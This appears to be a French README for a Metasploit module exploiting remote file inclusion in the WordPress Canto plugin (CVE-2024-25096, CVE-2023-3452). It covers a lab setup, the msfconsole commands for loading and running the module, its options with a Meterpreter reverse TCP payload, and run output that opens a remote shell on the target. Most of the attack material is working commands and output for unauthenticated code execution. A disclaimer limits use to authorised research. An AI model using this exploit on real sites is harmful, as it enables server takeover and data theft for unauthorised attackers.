
Ceci est un module d'exploitation Metasploit pour CVE-2024-25096 et CVE-2023-3452.
Cet exploit est une preuve de concept pour les vulnérabilités RFI CVE-2024-25096 et CVE-2023-3452, qui permettent à un attaquant d'établir une session shell distante interactive sur la cible.
CVE-2024-25096 abuse du paramètre abspath, qui permet l'inclusion de fichier distant via l'instruction include_once. CVE-2023-3452 suit la même procédure, excepté que le paramètre « wp_abspath » permet l'inclusion de fichier distant via l'instruction require_once. Cela permet à l'attaquant d'exécuter du code non authentifié sur le serveur cible.
Bien que les bases de données de vulnérabilités listent CVE-2023-3452 comme affectant les versions jusqu'à 3.0.4, les tests ont confirmé que la vulnérabilité reste exploitable jusqu'à la version 3.0.6. Le problème a été corrigé dans la version 3.0.7, la même version qui corrige CVE-2024-25096.
Les conditions suivantes sont requises pour que la cible soit vulnérable :
allow_url_include=On Clonez ce dépôt et téléchargez le plugin canto
Notez que si vous souhaitez télécharger une version antérieure de Canto, copiez simplement le lien et modifiez le numéro de version dans le lien pour obtenir la version souhaitée.
Démarrez le conteneur (docker-compose.yaml) avec la commande podman-compose up.
Ouvrez http://localhost:8889/wp-admin/install.php dans le navigateur de votre choix et configurez un compte WordPress.

Après vous être connecté, vous pouvez sélectionner et installer le fichier zip de canto sous l'onglet Extensions -> Ajouter une extension -> Envoyer une extension.

Ajoutez l'exploit (rce_exploit_cve_2024_25096.rb) au dossier des modules Metasploit.
Démarrez Metasploit (msfconsole) et rechargez Metasploit (reload_all).
Sélectionnez la charge utile (payload).
cp explit/wordpress_canto_plugin_file_include_rce.rb ~/.msf4/modules/exploits/
msfconsole
reload_all
search rce_exploit_cve_2024_25096
use 0
définissez les valeurs des variables requises
Module options (exploit/rce_exploit_cve_2024_25096):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http, socks5h
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8889 yes Port
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false yes Use SSL
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETFILE get.php yes Vulnerable PHP file
TARGETURI /wp-content/plugins/canto yes Path to cantos root directory
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.178.58 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPress Plugin <= 3.0.6
View the full module info with the info, or info -d command
Lancez l'exploit et croisez les doigts ;)
[msf](Jobs:0 Agents:0) exploit(rce_exploit_cve_2024_25096) >> run
[*] Started reverse TCP handler on 192.168.178.58:4444
[*] Starting HTTP server...
[*] Using URL: http://192.168.178.58:8080/14Gs3AAu8j4
[*] Triggering RFI...
[*] Sending admin.php payload
[*] Sending stage (42137 bytes) to 192.168.178.58
[*] Meterpreter session 2 opened (192.168.178.58:4444 -> 192.168.178.58:54310) at 2026-03-01 20:15:23 +0100
[*] Server stopped.
(Meterpreter 2)(/var/www/html/wp-content/plugins/canto/includes/lib) >
Ce projet est fourni uniquement à des fins éducatives et de recherche en sécurité.
L'auteur n'encourage ni ne tolère les activités illégales. Toute utilisation de ce code pour attaquer des systèmes sans autorisation est strictement interdite.
L'auteur n'est pas responsable de tout usage abusif ou dommage causé par ce logiciel. Les utilisateurs sont responsables de s'assurer qu'ils se conforment à toutes les lois et réglementations applicables.
Utilisez ce code uniquement dans des environnements où vous avez une autorisation explicite, tels que les environnements de laboratoire, les missions de test d'intrusion ou la recherche en sécurité.